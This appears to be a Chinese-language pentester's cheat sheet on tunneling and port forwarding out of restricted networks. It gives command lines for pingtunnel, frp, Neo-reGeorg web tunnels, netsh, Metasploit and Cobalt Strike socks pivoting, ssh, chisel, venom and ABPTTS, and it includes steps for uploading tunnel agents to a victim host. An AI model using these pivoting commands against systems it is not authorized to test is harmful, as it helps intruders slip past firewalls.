參考:https://book.hacktricks.xyz/tunneling-and-port-forwarding
簡介
困境:
- 攻擊者可以通過互聯網直接訪問到 web 服務器的 web 頁面(http、https),但是由於防火牆、路由器 ACL、負載均衡的存在,不允許建立其它協議的鏈接。故無法建立 forward tcp 鏈接。
- web 服務器可能處在不能直接訪問互聯網的環境,故不能建立reverse tcp。
協議封裝
icmp:https://github.com/esrrhs/pingtunnel (主機只讓 icmp 出網)
但好像只能linux 作爲服務端,windows 作爲客戶端。
# 分爲 client 和 server。client 將監聽端口收到的流量,以icmp 的形式傳給 server 端。server 端解碼icmp後,將流量轉發到相關的端口。
# client 將監聽端口收到的流量,以icmp 的形式傳給 server 端。
pingtunnel.exe -type client -l 0.0.0.0:8888 -s 192.168.200.128 -t 192.168.200.1:80 -tcp 1 -noprint 1
# server 端負責解釋接收到的 icmp 請求。並將其轉發到對應端口。
sudo ./pingtunnel -type server -noprint 1
dns:iodine 對網絡層進行封裝。
socks 代理工具
讓流量走 socks 代理
-
linux:proxychains
建立代理隧道的工具
frp (應用程序,socks、端口轉發等,反向連接)
(fast reverse proxy ) 支持多種協議。https://github.com/fatedier/frp 。用來將在內網中的服務器暴露到公網上。
使用方法:
-
根據攻擊者的主機和受害者的主機,下載不同的版本。 https://github.com/fatedier/frp/releases/tag/v0.37.0
-
可以根據 frps_full.ini / frpc_full.ini 修改要轉發的協議以及是否加密等。
-
服務端監聽客戶端的代理請求。使用 frps、 frps.ini,運行。
frps -c frps.ini
-
客戶端選擇好要轉發的方式,主動連接服務端。將 frpc、 frpc.ini 上傳到受害者主機。配置好 frpc.ini 後運行。
frpc -c frpc.ini
Nps
和 frp 類似,功能複雜的內網穿透工具。https://github.com/ehang-io/nps
Neo-reGeorg(http,socks、端口轉發,正向連接)
regeorg 的升級版 https://github.com/L-codes/Neo-reGeorg 。至今仍在更新中
使用方法:
-
python3 neoreg.py generate -k password -o dir
使用其生成各種web 腳本。將其上傳到web 服務器。-f 404.html -c 404
-
python3 neoreg.py -u 腳本url -k password
會默認在本地監聽監聽 1080 socks 端口。然後使用 proxychains 代理到這個 socks 端口即可。python3 neoreg.py -u http://192.168.200.1/tunnel.php -k abc -s -t 127.0.0.1:80
會轉發端口,而不是 socks 代理。
Ngrok
和 Neo-reGeorg 類似,不過可以藉助項目作者搭建的公網主機。
netsh (win內置命令,端口轉發)
需要管理員權限。
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=9999 connectaddress=192.168.200.128 connectport=9999
監聽 127.0.0.1:9999 將其轉發到 192.168.200.128:9999
msf(meterpreter,socks、端口轉發)
portfwd add -l 80 -r 127.0.0.1 -p 80
# socks
# meterpreter session
background
route add 0.0.0.0/0 1
use auxiliary/server/socks_proxy
run
cobaltstrike(beacon,socks4a,端口轉發)
# beacon session
socks 9999
so
ssh(常見應用,socks、端口轉發)
ssh -L 127.0.0.1:6666:10.0.0.1:7777 [email protected] -N
# 監聽本地 6666 端口(127.0.0.1),將訪問本地 6666 端口的流量轉發到 192.168.200.128 服務器能訪問到的 10.0.0.1:7777
ssh -R 127.0.0.1:6666:10.0.0.1:7777 [email protected] -N
# 在 192.168.200.128 服務器上監聽 6666 端口(127.0.0.1),將服務器上訪問到 6666 端口的流量轉發到本地能訪問到的 10.0.0.1:7777
ssh -D 127.0.0.1:6666 [email protected] -N
# 監聽本地 6666 端口,將訪問到其的流量 socks 轉發到 192.168.200.128 服務器上。
# 和 -L 類似,不過是socks 轉發。
-L 限制了只能爲本地主機上的端口
-R 限制了只能爲遠端主機上的端口
-N 表示用於端口轉發
ip 部分可以省略,詳見 man 手冊。
vpn
未測試
chisel
http、portforward、socks、服務端客戶端集成
chisel.exe server --socks5
chisel.exe client --fingerprint "EfzONUnfiUlA5+HLmS2BmKAmX1rj7ckmQCgccVc3W5A=" http://127.0.0.1:8080 socks
chisel.exe server --host 192.168.1.110
chisel.exe client --fingerprint "sDMpYge9dHEBXEDQFS1PT9VDBz5cLRTjTKi+LdYCKJk=" http://192.168.1.110:8080 127.0.0.1:18080:192.168.200.130:80
sshuttle
已停止更新
venom(應用程序,socks、端口轉發、shell,正向連接)
分爲 agent 、server 兩個應用程序。
- 使用 agent 監聽某一端口,等待 server 的鏈接。
agent.exe -lport 9999 -passwd 123
- 使用服務端連接到監聽的客戶端。
./admin_linux_x86 -rhost 127.0.0.1 -rport 9999 -passwd 123
abptts (http,端口轉發)
(A Black Path Toward The Sun)https://github.com/nccgroup/ABPTTS
將 tcp 流量由 http /https 進行轉發。
使用方法:
- 先使用 abpttsfactory.py 生成多種語言的包。選擇一門語言上傳到服務端。
- 然後使用
abpttsclient.py -c 生成的配置文件 -u 上傳的腳本 -f localhost:port/remotehost:port
來轉發端口。和 ssh -L 類似。不過是通過 http